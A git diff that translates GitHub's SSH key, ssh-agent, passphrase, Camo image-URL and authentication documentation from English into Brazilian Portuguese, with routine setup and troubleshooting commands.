@@ -42,7 +43,7 @@ If you don't want to reenter your passphrase every time you use your SSH key, yo
   ```
   {% note %}
 
-  **Note:** If you are using a legacy system that doesn't support the Ed25519 algorithm, use:
+  **Observação:** Se você estiver usando um sistema legado que não é compatível com o algoritmo Ed25519, use:
   ```shell
    $ ssh-keygen -t rsa -b 4096 -C "<em>your_email@example.com</em>"
   ```
@@ -50,11 +51,11 @@ If you don't want to reenter your passphrase every time you use your SSH key, yo
   {% endnote %}
   {% endif %}
 
-  This creates a new SSH key, using the provided email as a label.
+  Isto cria uma nova chave SSH, usando o nome de e-mail fornecido como uma etiqueta.
   ```shell
   > Generating public/private <em>algorithm</em> key pair.
   ```
-3. When you're prompted to "Enter a file in which to save the key," press Enter. This accepts the default file location.
+3. Quando aparecer a solicitação "Enter a file in which to save the key" (Insira um arquivo no qual salvar a chave), presssione Enter. O local padrão do arquivo será aceito.
 
   {% mac %}
 
@@ -80,36 +81,36 @@ If you don't want to reenter your passphrase every time you use your SSH key, yo
 
   {% endlinux %}
 
-4. At the prompt, type a secure passphrase. For more information, see ["Working with SSH key passphrases](/articles/working-with-ssh-key-passphrases)."
+4. Digite uma frase secreta segura no prompt. Para obter mais informações, consulte ["Trabalhar com frases secretas da chave SSH](/articles/working-with-ssh-key-passphrases)".
   ```shell
   > Enter passphrase (empty for no passphrase): <em>[Type a passphrase]</em>
   > Enter same passphrase again: <em>[Type passphrase again]</em>
   ```
 
-## Adding your SSH key to the ssh-agent
+## Adicionar sua chave SSH ao ssh-agent
 
-Before adding a new SSH key to the ssh-agent to manage your keys, you should have checked for existing SSH keys and generated a new SSH key. <span class="platform-mac">When adding your SSH key to the agent, use the default macOS `ssh-add` command, and not an application installed by [macports](https://www.macports.org/), [homebrew](http://brew.sh/), or some other external source.</span>
+Antes de adicionar uma nova chave SSH ao agente para gerenciar suas chaves, você deve verificar as chaves SSH existentes e gerado uma nova chave SSH. <span class="platform-mac">Ao adicionar sua chave SSH ao agent, use o comando padrão "ssh-add" do macOS, e não um aplicativo instalado por [macports](https://www.macports.org/), [homebrew](http://brew.sh/) ou qualquer outra fonte externa.</span>
 
 {% mac %}
 
 {% data reusables.command_line.start_ssh_agent %}
 
-2. If you're using macOS Sierra 10.12.2 or later, you will need to modify your `~/.ssh/config` file to automatically load keys into the ssh-agent and store passphrases in your keychain.
+2. Se estiver usando macOS Sierra 10.12.2 ou posterior, será necessário modificar seu arquivo `~/.ssh/config` para carregar automaticamente as chaves no ssh-agent e armazenar as frases secretas em seu keychain.
 
-    * First, check to see if your `~/.ssh/config` file exists in the default location.
+    * Primeiro, verifique se o arquivo `~/.ssh/config` existe no local padrão.
 
       ```shell
       $ open ~/.ssh/config
       > The file /Users/<em>you</em>/.ssh/config does not exist.
       ```
 
-    * If the file doesn't exist, create the file.
+    * Se o arquivo não existir, crie o arquivo.
 
       ```shell
       $ touch ~/.ssh/config
       ```
 
-    * Open your `~/.ssh/config` file, then modify the file to contain the following lines. If your SSH key file has a different name or path than the example code, modify the filename or path to match your current setup. 
+    * Abra seu arquivo `~/.ssh/config` e modifique o arquivo para que contenha as seguintes linhas. Se o seu arquivo de chave SSH tiver um nome ou caminho diferente do exemplo de código, modifique o nome ou o caminho para corresponder à sua configuração atual.
 
       ```
       Host *
@@ -120,20 +121,20 @@ Before adding a new SSH key to the ssh-agent to manage your keys, you should hav
 
      {% note %}
 
-     **Note:** If you chose not to add a passphrase to your key, you should omit the `UseKeychain` line.
-  
+     **Observação:** Se você optou por não adicionar uma frase secreta à sua chave, você deve omitir a linha `UseKeychain`.
+
      {% endnote %}
-     
+
       {% mac %}
       {% note %}
 
-      **Note:** If you see an error like this
+      **Observação:** Se você vir um erro como este
 
       ```
       /Users/USER/.ssh/config: line 16: Bad configuration option: usekeychain
       ```
 
-      add an additional config line to your `Host *` section:
+      adicione uma linha de configuração adicional para a seção `Host *`:
 
       ```
       Host *
@@ -142,22 +143,22 @@ Before adding a new SSH key to the ssh-agent to manage your keys, you should hav
 
       {% endnote %}
       {% endmac %}
-  
-3. Add your SSH private key to the ssh-agent and store your passphrase in the keychain. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
+
+3. Adicione sua chave SSH privada ao ssh-agent e armazene sua frase secreta no keychain. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
    ```shell
    $ ssh-add -K ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}
   ```
   {% note %}
 
-  **Note:** The `-K` option is Apple's standard version of `ssh-add`, which stores the passphrase in your keychain for you when you add an SSH key to the ssh-agent. If you chose not to add a passphrase to your key, run the command without the `-K` option. 
+  **Observação:** A opção `-K` é a versão padrão da Apple de `ssh-add`, que armazena a frase secreta na sua keychain para você quando você adiciona uma chave SSH ao ssh-agent. Se você optou por não adicionar uma frase secreta à sua chave, execute o comando sem a opção `-K`.
 
-  If you don't have Apple's standard version installed, you may receive an error. For more information on resolving this error, see "[Error: ssh-add: illegal option -- K](/articles/error-ssh-add-illegal-option-k)."
-  
-  In MacOS Monterey (12.0), the `-K` and `-A` flags are deprecated and have been replaced by the `--apple-use-keychain` and `--apple-load-keychain` flags, respectively. 
+  Caso não tenha a versão standard da Apple instalada, você poderá receber uma mensagem de erro. Para obter mais informações sobre como resolver esse erro, consulte "[Erro: ssh-add: opção ilícita -- K](/articles/error-ssh-add-illegal-option-k)".
+
+  No MacOS Monterey (12.0), os sinalizadores `-K` e `-A` tornaram-se obsoletos e foram substituídos pelos sinalizadores `--apple-use-keychain` e `--apple-load-keychain`, respectivamente.
 
   {% endnote %}
 
-4. Add the SSH key to your account on {% data variables.product.product_name %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)."
+4. Adicione a chave SSH à sua conta em {% data variables.product.product_name %}. Para obter mais informações, consulte "[Adicionar uma nova chave SSH à sua conta de {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)".
 
 {% endmac %}
 
@@ -165,17 +166,17 @@ Before adding a new SSH key to the ssh-agent to manage your keys, you should hav
 
 {% data reusables.desktop.windows_git_bash %}
 
-1. Ensure the ssh-agent is running. You can use the "Auto-launching the ssh-agent" instructions in "[Working with SSH key passphrases](/articles/working-with-ssh-key-passphrases)", or start it manually:
+1. Certifique-se de que o ssh-agent está em execução. Você pode usar as instruções "Lançamento automático do ssh-agent" em "[Trabalhando com palavras-chave SSH](/articles/working-with-ssh-key-passphrases)" ou iniciá-lo manualmente:
   ```shell
   # start the ssh-agent in the background
   $ eval "$(ssh-agent -s)"
   > Agent pid 59566
   ```
 
-2. Add your SSH private key to the ssh-agent. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
+2. Adicione sua chave SSH privada ao ssh-agent. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
    {% data reusables.ssh.add-ssh-key-to-ssh-agent-commandline %}
 
-3. Add the SSH key to your account on {% data variables.product.product_name %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)."
+3. Adicione a chave SSH à sua conta em {% data variables.product.product_name %}. Para obter mais informações, consulte "[Adicionar uma nova chave SSH à sua conta de {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)".
 
 {% endwindows %}
 
@@ -183,37 +184,37 @@ Before adding a new SSH key to the ssh-agent to manage your keys, you should hav
 
 {% data reusables.command_line.start_ssh_agent %}
 
-2. Add your SSH private key to the ssh-agent. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
+2. Adicione sua chave SSH privada ao ssh-agent. {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
    {% data reusables.ssh.add-ssh-key-to-ssh-agent-commandline %}
 
-3. Add the SSH key to your account on {% data variables.product.product_name %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)."
+3. Adicione a chave SSH à sua conta em {% data variables.product.product_name %}. Para obter mais informações, consulte "[Adicionar uma nova chave SSH à sua conta de {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)".
 
 {% endlinux %}
 
 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}
-## Generating a new SSH key for a hardware security key
+## Gerar uma nova chave SSH para uma chave de segurança de hardware
 
-If you are using macOS or Linux, you may need to update your SSH client or install a new SSH client prior to generating a new SSH key. For more information, see "[Error: Unknown key type](/github/authenticating-to-github/error-unknown-key-type)."
+Se você estiver usando macOS ou Linux, Talvez você precise atualizar seu cliente SSH ou instalar um novo cliente SSH antes de gerar uma nova chave SSH. Para obter mais informações, consulte "[Error: Unknown key type](/github/authenticating-to-github/error-unknown-key-type)."
 
-1. Insert your hardware security key into your computer.
+1. Insira sua chave de segurança de hardware no seu computador.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Paste the text below, substituting in the email address for your account on {% data variables.product.product_name %}.
+3. Cole o texto abaixo, substituindo o endereço de e-mail da sua conta em {% data variables.product.product_name %}.
   ```shell
   $ ssh-keygen -t {% ifversion ghae %}ecdsa{% else %}ed25519{% endif %}-sk -C "<em>your_email@example.com</em>"
   ```
-  
+
   {% ifversion not ghae %}
   {% note %}
 
-  **Note:** If the command fails and you receive the error `invalid format` or `feature not supported,` you may be using a hardware security key that does not support the Ed25519 algorithm. Enter the following command instead.
+  **Observação:** Se o comando falhar e você receber o erro `formato inválido` ou a funcionalidade `não compatível`, é possível que você esteja usando uma chave de segurança de hardware incompatível com o algoritmo Ed25519. Insira o comando a seguir.
   ```shell
    $ ssh-keygen -t ecdsa-sk -C "your_email@example.com"
   ```
 
   {% endnote %}
   {% endif %}
-4. When you are prompted, touch the button on your hardware security key.
-5. When you are prompted to "Enter a file in which to save the key," press Enter to accept the default file location.
+4. Quando solicitado, toque no botão da sua chave de segurança de hardware.
+5. Quando for solicitado a "Insira um arquivo para salvar a chave", pressione Enter para aceitar o local padrão do arquivo.
 
   {% mac %}
 
@@ -239,19 +240,19 @@ If you are using macOS or Linux, you may need to update your SSH client or insta
 
   {% endlinux %}
 
-6. When you are prompted to type a passphrase, press **Enter**.
+6. Quando solicitado que você digite uma frase secreta, pressione **Enter**.
   ```shell
   > Enter passphrase (empty for no passphrase): <em>[Type a passphrase]</em>
   > Enter same passphrase again: <em>[Type passphrase again]</em>
   ```
-7. Add the SSH key to your account on {% data variables.product.prodname_dotcom %}. For more information, see "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)."
+7. Adicione a chave SSH à sua conta em {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Adicionar uma nova chave SSH à sua conta de {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)".
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[About SSH](/articles/about-ssh)"
-- "[Working with SSH key passphrases](/articles/working-with-ssh-key-passphrases)"
+- "[Sobre SSH](/articles/about-ssh)"
+- "[Trabalhar com frases secretas da chave SSH](/articles/working-with-ssh-key-passphrases)"
 {%- ifversion fpt or ghec %}
-- "[Authorizing an SSH key for use with SAML single sign-on](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)"{% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}
+- "[Autorizando uma chave SSH para uso com o logon único SAML](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)"{% ifversion fpt %} na documentação de {% data variables.product.prodname_ghe_cloud %}{% endif %}
 {%- endif %}
diff --git a/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/index.md b/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/index.md
index f052a1f3f4..1ab070d75d 100644
--- a/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/index.md
+++ b/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/index.md
@@ -1,6 +1,6 @@
 ---
-title: Connecting to GitHub with SSH
-intro: 'You can connect to {% data variables.product.product_name %} using the Secure Shell Protocol (SSH), which provides a secure channel over an unsecured network.'
+title: Conectar-se ao GitHub com SSH
+intro: 'Você pode conectar-se a {% data variables.product.product_name %} usando o protocolo Secure Shell (SSH), que fornece um canal seguro por meio de uma rede insegura.'
 redirect_from:
   - /key-setup-redirect
   - /linux-key-setup
@@ -25,6 +25,6 @@ children:
   - /adding-a-new-ssh-key-to-your-github-account
   - /testing-your-ssh-connection
   - /working-with-ssh-key-passphrases
-shortTitle: Connect with SSH
+shortTitle: Conectar com SSH
 ---
 
diff --git a/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md b/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md
index f9dfd3f00c..ca452b97e0 100644
--- a/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md
+++ b/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md
@@ -1,6 +1,6 @@
 ---
-title: Working with SSH key passphrases
-intro: You can secure your SSH keys and configure an authentication agent so that you won't have to reenter your passphrase every time you use your SSH keys.
+title: Trabalhar com frase secreta da chave SSH
+intro: Você pode proteger suas chaves SSH e configurar um agente de autenticação para que não precise redigitar a senha toda vez que usar as chaves SSH.
 redirect_from:
   - /ssh-key-passphrases
   - /working-with-key-passphrases
@@ -14,13 +14,14 @@ versions:
   ghec: '*'
 topics:
   - SSH
-shortTitle: SSH key passphrases
+shortTitle: Frases secretas da chave SSH
 ---
-With SSH keys, if someone gains access to your computer, they also gain access to every system that uses that key. To add an extra layer of security, you can add a passphrase to your SSH key. You can use `ssh-agent` to securely save your passphrase so you don't have to reenter it.
 
-## Adding or changing a passphrase
+Com as chaves SSH, se alguém conseguir acessar seu computador, terá acesso a todos os sistemas que usam essas chaves. Para incluir uma camada extra de segurança, adicione uma frase secreta à sua chave SSH. Você pode usar `ssh-agent` para salvar sua frase secreta de forma segura e não precisar digitá-la novamente.
 
-You can change the passphrase for an existing private key without regenerating the keypair by typing the following command:
+## Adicionar ou alterar frase secreta
+
+É possível alterar a frase secreta de uma chave privada sem gerar novamente o par de chaves. Basta digitar o seguinte comando:
 
 ```shell
 $ ssh-keygen -p -f ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}
@@ -31,13 +32,13 @@ $ ssh-keygen -p -f ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}
 > Your identification has been saved with the new passphrase.
 ```
 
-If your key already has a passphrase, you will be prompted to enter it before you can change to a new passphrase.
+Caso a sua chave já tenha uma frase secreta, você precisará digitá-la antes de poder alterar para uma nova frase secreta.
 
 {% windows %}
 
-## Auto-launching `ssh-agent` on Git for Windows
+## Abrir automaticamente o `ssh-agent` no Git para Windows
 
-You can run `ssh-agent` automatically when you open bash or Git shell. Copy the following lines and paste them into your `~/.profile` or `~/.bashrc` file in Git shell:
+Você pode executar `ssh-agent` automaticamente ao abrir o bash ou o Git shell. Copie as linhas a seguir e cole-as no arquivo `~/.profile` ou `~/.bashrc` no Git Shell:
 
 ``` bash
 env=~/.ssh/agent.env
@@ -63,15 +64,15 @@ fi
 unset env
 ```
 
-If your private key is not stored in one of the default locations (like `~/.ssh/id_rsa`), you'll need to tell your SSH authentication agent where to find it. To add your key to ssh-agent, type `ssh-add ~/path/to/my_key`. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/)"
+Se sua chave privada não estiver armazenada em um dos locais-padrão (como `~/. sh/id_rsa`), você precisará dizer ao seu agente de autenticação SSH onde encontrá-la. Para adicionar a chave ao ssh-agent, digite `ssh-add ~/path/to/my_key`. Para obter mais informações, consulte "[Gerar uma nova chave SSH e adicioná-la ao ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/)".
 
 {% tip %}
 
-**Tip:** If you want `ssh-agent` to forget your key after some time, you can configure it to do so by running `ssh-add -t <seconds>`.
+**Dica:** se você quiser que o `ssh-agent` esqueça sua chave depois de algum tempo, configure-o para isso executando `ssh-add -t <seconds>`.
 
 {% endtip %}
 
-Now, when you first run Git Bash, you are prompted for your passphrase:
+Agora, quando você executar o Git Bash pela primeira vez, sua frase secreta será solicitada:
 
 ```shell
 > Initializing new SSH agent...
@@ -84,25 +85,25 @@ Now, when you first run Git Bash, you are prompted for your passphrase:
 > Run 'git help <command>' to display help for specific commands.
 ```
 
-The `ssh-agent` process will continue to run until you log out, shut down your computer, or kill the process.
+O processo do `ssh-agent` continuará sendo executado até você fazer logoff, desligar o computador ou interromper o processo.
 
 {% endwindows %}
 
 {% mac %}
 
-## Saving your passphrase in the keychain
+## Salvar a frase secreta na keychain
 
-On Mac OS X Leopard through OS X El Capitan, these default private key files are handled automatically:
+No Mac OS X Leopard até o OS X El Capitan, estes arquivos de chave privada padrão são tratados automaticamente:
 
 - *.ssh/id_rsa*
 - *.ssh/identity*
 
-The first time you use your key, you will be prompted to enter your passphrase. If you choose to save the passphrase with your keychain, you won't have to enter it again.
+Na primeira vez que você usar a chave, precisará digitar sua frase secreta. Se você optar por salvar a frase secreta com a keychain, não precisará digitá-la novamente.
 
-Otherwise, you can store your passphrase in the keychain when you add your key to the ssh-agent. For more information, see "[Adding your SSH key to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent)."
+Caso contrário, armazene a frase secreta na keychain quando adicionar a chave ao ssh-agent. Para obter mais informações, consulte "[Adicionar sua chave SSH ao ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent)".
 
 {% endmac %}
 
-## Further reading
+## Leia mais
 
-- "[About SSH](/articles/about-ssh)"
+- "[Sobre SSH](/articles/about-ssh)"
diff --git a/translations/pt-BR/content/authentication/index.md b/translations/pt-BR/content/authentication/index.md
index 4e209b3382..a33c89418b 100644
--- a/translations/pt-BR/content/authentication/index.md
+++ b/translations/pt-BR/content/authentication/index.md
@@ -1,6 +1,6 @@
 ---
-title: Authentication
-intro: 'Keep your account and data secure with features like {% ifversion not ghae %}two-factor authentication, {% endif %}SSH{% ifversion not ghae %},{% endif %} and commit signature verification.'
+title: Autenticação
+intro: 'Mantenha sua conta e dados seguros com as funcionalidades como {% ifversion not ghae %}autenticação de dois fatores, {% endif %}SSH{% ifversion not ghae %},{% endif %} e verificação de assinatura de commit.'
 redirect_from:
   - /categories/56/articles
   - /categories/ssh
diff --git a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md
index 23e2375a3b..941edcb8d6 100644
--- a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md
+++ b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md
@@ -1,6 +1,6 @@
 ---
-title: About anonymized URLs
-intro: 'If you upload an image or video to {% data variables.product.product_name %}, the URL of the image or video will be modified so your information is not trackable.'
+title: Sobre URLs anônimas
+intro: 'Se você fizer o upload de uma imagem ou vídeo para {% data variables.product.product_name %}, a URL da imagem ou vídeo será modificada para que suas informações não sejam rastreáveis.'
 redirect_from:
   - /articles/why-do-my-images-have-strange-urls
   - /articles/about-anonymized-image-urls
@@ -14,32 +14,33 @@ topics:
   - Identity
   - Access management
 ---
-To host your images, {% data variables.product.product_name %} uses the [open-source project Camo](https://github.com/atmos/camo). Camo generates an anonymous URL proxy for each file which hides your browser details and related information from other users. The URL starts `https://<subdomain>.githubusercontent.com/`, with different subdomains depending on how you uploaded the image. 
 
-Videos also get anonymized URLs with the same format as image URLs, but are not processed through Camo. This is because {% data variables.product.prodname_dotcom %} does not support externally hosted videos, so the anonymized URL is a link to the uploaded video hosted by {% data variables.product.prodname_dotcom %}.
+Para hospedar imagens, o {% data variables.product.product_name %} usa o [Camo do projeto de código aberto](https://github.com/atmos/camo). A Camo gera um proxy de URL anônimo para cada arquivo que oculta os detalhes do seu navegador e informações relacionadas de outros usuários. A URL começa `https://<subdomain>.githubusercontent.com/`, com subdomínios diferentes dependendo de como você fez o upload da imagem.
 
-Anyone who receives your anonymized URL, directly or indirectly, may view your image or video. To keep sensitive media files private, restrict them to a private network or a server that requires authentication instead of using Camo.
+Os vídeos também recebem URLs anônimas com o mesmo formato que as URLs da imagem, mas não são processados através da Camo. Isto ocorre porque {% data variables.product.prodname_dotcom %} não é compatível vídeos hospedados externamente. Portanto, a URL anônima é um link para o vídeo enviado hospedado por {% data variables.product.prodname_dotcom %}.
 
-## Troubleshooting issues with Camo
+Qualquer pessoa que receber a sua URL anônima, direta ou indiretamente, poderá visualizar a sua imagem ou vídeo. Para manter arquivos de mídia sensíveis privados, restrinja-os a uma rede privada ou a um servidor que exige autenticação em vez de usar a Camo.
 
-In rare circumstances, images that are processed through Camo might not appear on {% data variables.product.prodname_dotcom %}. Here are some steps you can take to determine where the problem lies.
+## Solucionar problemas com o Camo
+
+As imagens que são processadas por meio do Camo raramente não aparecem no {% data variables.product.prodname_dotcom %}. Veja a seguir algumas etapas que podem ser seguidas para determinar onde está o problema.
 
 {% windows %}
 
 {% tip %}
 
-Windows users will either need to use the Git PowerShell (which is installed alongside [{% data variables.product.prodname_desktop %}](https://desktop.github.com/)) or download [curl for Windows](http://curl.haxx.se/download.html).
+Os usuários do Windows precisam usar o Git PowerShell (que é instalado com o [{% data variables.product.prodname_desktop %}](https://desktop.github.com/)) ou fazer o download de um [curl para Windows](http://curl.haxx.se/download.html).
 
 {% endtip %}
 
 {% endwindows %}
 
-### An image is not showing up
+### Uma imagem não está sendo exibida
 
-If an image is showing up in your browser but not on {% data variables.product.prodname_dotcom %}, you can try requesting it locally.
+Se uma imagem estiver sendo exibida no seu navegador mas não em {% data variables.product.prodname_dotcom %}, você poderá tentar solicitá-la localmente.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-1. Request the image headers using `curl`.
+1. Solicite os headers da imagem usando `curl`.
   ```shell
   $ curl -I https://www.my-server.com/images/some-image.png
   > HTTP/2 200
@@ -49,20 +50,20 @@ If an image is showing up in your browser but not on {% data variables.product.p
   > Server: Google Frontend
   > Content-Length: 6507
   ```
-3. Check the value of `Content-Type`. In this case, it's `image/x-png`.
-4. Check that content type against [the list of types supported by Camo](https://github.com/atmos/camo/blob/master/mime-types.json).
+3. Verifique o valor de `Content-Type`. Nesse caso, é `image/x-png`.
+4. Verifique o tipo de conteúdo em relação [à lista de tipos compatíveis com o Camo](https://github.com/atmos/camo/blob/master/mime-types.json).
 
-If your content type is not supported by Camo, you can try several actions:
-  * If you own the server that's hosting the image, modify it so that it returns a correct content type for images.
-  * If you're using an external service for hosting images, contact support for that service.
-  * Make a pull request to Camo to add your content type to the list.
+Se o tipo de conteúdo não for compatível com o Camo, você poderá tentar várias ações:
+  * Se tiver posse do servidor que está hospedando a imagem, modifique-o para que ele retorne um tipo de conteúdo correto para imagens.
+  * Se estiver usando um serviço externo para hospedar imagens, entre em contato com o suporte do serviço em questão.
+  * Faça uma pull request ao Camo a fim de adicionar seu tipo de conteúdo à lista.
 
-### An image that changed recently is not updating
+### Uma imagem que foi alterada recentemente não está atualizando
 
-If you changed an image recently and it's showing up in your browser but not {% data variables.product.prodname_dotcom %}, you can try resetting the cache of the image.
+Se você alterou uma imagem recentemente e ela está sendo exibida no navegador, mas não no {% data variables.product.prodname_dotcom %}, tente redefinir o cache da imagem.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-1. Request the image headers using `curl`.
+1. Solicite os headers da imagem usando `curl`.
   ```shell
   $ curl -I https://www.my-server.com/images/some-image.png
   > HTTP/2 200
@@ -72,29 +73,29 @@ If you changed an image recently and it's showing up in your browser but not {%
   > Server: Jetty(8.y.z-SNAPSHOT)
   ```
 
-Check the value of `Cache-Control`. In this example, there's no `Cache-Control`. In that case:
-  * If you own the server that's hosting the image, modify it so that it returns a `Cache-Control` of `no-cache` for images.
-  * If you're using an external service for hosting images, contact support for that service.
+Verifique o valor de `Cache-Control`. Neste exemplo, não há `Cache-Contro`. Nesse caso:
+  * Se tiver posse do servidor que está hospedando a imagem, modifique-o para que ele retorne um `Cache-Control` de `no-cache` para imagens.
+  * Se estiver usando um serviço externo para hospedar imagens, entre em contato com o suporte do serviço em questão.
 
- If `Cache-Control` *is* set to `no-cache`, contact {% data variables.contact.contact_support %} or search the {% data variables.contact.community_support_forum %}.
+ Se `Cache-Control` *estiver * definido como `no-cache`, entre em contato com {% data variables.contact.contact_support %} ou pesquise no {% data variables.contact.community_support_forum %}.
 
-### Removing an image from Camo's cache
+### Remover uma imagem do cache do Camo
 
-Purging the cache forces every {% data variables.product.prodname_dotcom %} user to re-request the image, so you should use it very sparingly and only in the event that the above steps did not work.
+A limpeza do cache força os usuários do {% data variables.product.prodname_dotcom %} a solicitar novamente a imagem. Portanto, você deve usá-la bem moderadamente e somente no caso em que as etapas acima não funcionarem.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-1. Purge the image using `curl -X PURGE` on the Camo URL.
+1. Limpe a imagem usando `curl-X PURGE` na URL do Camo.
   ```shell
   $ curl -X PURGE https://camo.githubusercontent.com/4d04abe0044d94fefcf9af2133223....
   > {"status": "ok", "id": "216-8675309-1008701"}
   ```
 
-### Viewing images on private networks
+### Exibir imagens em redes privadas
 
-If an image is being served from a private network or from a server that requires authentication, it can't be viewed by {% data variables.product.prodname_dotcom %}. In fact, it can't be viewed by any user without asking them to log into the server.
+Se uma imagem estiver sendo fornecida por uma rede privada ou um servidor que exige autenticação, ela não poderá ser exibida pelo {% data variables.product.prodname_dotcom %}. Na verdade, a imagem não pode ser exibida pelos usuários sem que eles façam login no servidor.
 
-To fix this, please move the image to a service that is publicly available.
+Para corrigir isso, mova a imagem para um serviço que esteja disponível publicamente.
 
-## Further reading
+## Leia mais
 
-- "[Proxying user images](https://github.com/blog/1766-proxying-user-images)" on {% data variables.product.prodname_blog %}
+- "[Retransmitir imagens do usuário](https://github.com/blog/1766-proxying-user-images)" em {% data variables.product.prodname_blog %}
diff --git a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md
index 91249e7e4e..1a15f6e09d 100644
--- a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md
+++ b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md
@@ -1,6 +1,6 @@
 ---
-title: About authentication to GitHub
-intro: 'You can securely access your account''s resources by authenticating to {% data variables.product.product_name %}, using different credentials depending on where you authenticate.'
+title: Sobre a autenticação no GitHub
+intro: 'Você pode acessar com segurança os recursos da sua conta efetuando a autenticação no {% data variables.product.product_name %} e usando credenciais diferentes dependendo de onde você efetua a autenticação.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -12,84 +12,100 @@ topics:
 redirect_from:
   - /github/authenticating-to-github/about-authentication-to-github
   - /github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github
-shortTitle: Authentication to GitHub
+shortTitle: Autenticação no GitHub
 ---
-## About authentication to {% data variables.product.prodname_dotcom %}
 
-To keep your account secure, you must authenticate before you can access{% ifversion not ghae %} certain{% endif %} resources on {% data variables.product.product_name %}. When you authenticate to {% data variables.product.product_name %}, you supply or confirm credentials that are unique to you to prove that you are exactly who you declare to be. 
+## Sobre autenticação no {% data variables.product.prodname_dotcom %}
 
-You can access your resources in {% data variables.product.product_name %} in a variety of ways: in the browser, via {% data variables.product.prodname_desktop %} or another desktop application, with the API, or via the command line. Each way of accessing {% data variables.product.product_name %} supports different modes of authentication.
+Para manter sua conta protegida, você deve efetuar a autenticação antes de poder acessar{% ifversion not ghae %} certos{% endif %} recursos em {% data variables.product.product_name %}. Ao efetuar a autenticação em {% data variables.product.product_name %}, você fornece ou confirma credenciais que são exclusivas que provam quem você declara ser.
 
-- {% ifversion ghae %}Your identity provider (IdP){% else %}Username and password with two-factor authentication{% endif %}
-- Personal access token
-- SSH key
+Você pode acessar seus recursos em {% data variables.product.product_name %} de várias formas: no navegador, por meio do {% data variables.product.prodname_desktop %} ou outro aplicativo da área de trabalho, com a API ou por meio da linha de comando. Cada forma de acessar o {% data variables.product.product_name %} é compatível com diferentes modos de autenticação.
 
-## Authenticating in your browser
+- {% ifversion ghae %}Seu provedor de identidade (IdP){% else %}Nome de usuário e senha com autenticação de dois fatores{% endif %}
+- Token de acesso de pessoal
+- Chave SSH
 
-You can authenticate to {% data variables.product.product_name %} in your browser {% ifversion ghae %}using your IdP. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)."{% else %}in different ways.
+## Efetuar a autenticação no seu navegador
+
+Você pode efetuar a autenticação no {% data variables.product.product_name %} no navegador {% ifversion ghae %}usando o seu IdP. Para obter mais informações, consulte "[Sobre a autenticação com o logon único SAML](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)."{% else %}de formas diferentes.
 
 {% ifversion fpt or ghec %}
